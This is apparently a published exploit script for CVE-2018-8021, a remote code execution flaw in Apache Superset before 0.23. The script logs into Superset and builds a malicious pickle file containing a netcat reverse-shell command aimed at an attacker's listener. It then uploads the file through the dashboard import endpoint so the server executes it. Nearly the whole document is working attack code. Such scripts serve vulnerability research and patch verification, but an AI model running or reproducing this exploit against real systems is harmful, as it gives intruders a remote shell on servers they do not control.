|
# Exploit Title: Apache Superset 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Author: David May (david.may@semanticbits.com) # Vendor Homepage: https://superset.apache.org/ # Software Link: https://github.com/apache/incubator-superset # Version: Any before 0.23 # Tested on: Ubuntu 18.04 # CVE-ID: CVE-2018-8021 # I originally disclosed this to the Apache Superset team back in May, and the fix had already been # in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE. #!/usr/bin/env python import sys import os from lxml import html import requests # Change these values to your TCP listener myIP = '192.168.137.129' myPort = '8888' # Credentials must belong to user with 'can Import Dashboards on Superset' privilege username = 'test' password = 'test' # Logic in case script arguments are not given if len(sys.argv) < 3: print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...') print('Script Usage:') print('./supersetrce.py <superset server ip> <superset port>') sys.exit() else: # Script arguments supersetIP = sys.argv[1] supersetPort = sys.argv[2] # Verify these URLs match your environment login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/' upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards' # Checks to see if file that we are going to write already exists in case this is run more than once if os.path.isfile('evil.pickle'): os.remove('evil.pickle') # Headers that we append to our POST requests headers_dict = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0', 'DNT': '1', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } # Creates evil pickle file and writes the reverse shell to it evilPickle = open('evil.pickle','w+') evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.') evilPickle.close() # Start a session so we have persistent cookies session = requests.session() # Grabs the Login page to parse it for its CSRF token login_page = session.get(login_URL) if login_page.status_code != 200: print('Login page not reached, verify URLs in script') login_tree = html.fromstring(login_page.content) csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value') # Form data that is sent in the POST request to Login page login_data = { 'csrf_token' : csrf_token, 'username' : username, 'password' : password, } # Adds the Referer header for the login page headers_dict['Referer'] = login_URL # Logon action login = session.post(login_URL, headers=headers_dict, data=login_data) # Grabs the Upload page to parse it for its CSRF token upload_page = session.get(upload_URL) if upload_page.status_code != 200: print('Upload page not reached, verify credentials and URLs in script') upload_tree = html.fromstring(upload_page.content) csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value') # Adds the Referer header for the Upload page headers_dict['Referer'] = upload_URL # Upload action upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')}) # Closes the session session.close() sys.exit()
|
|
|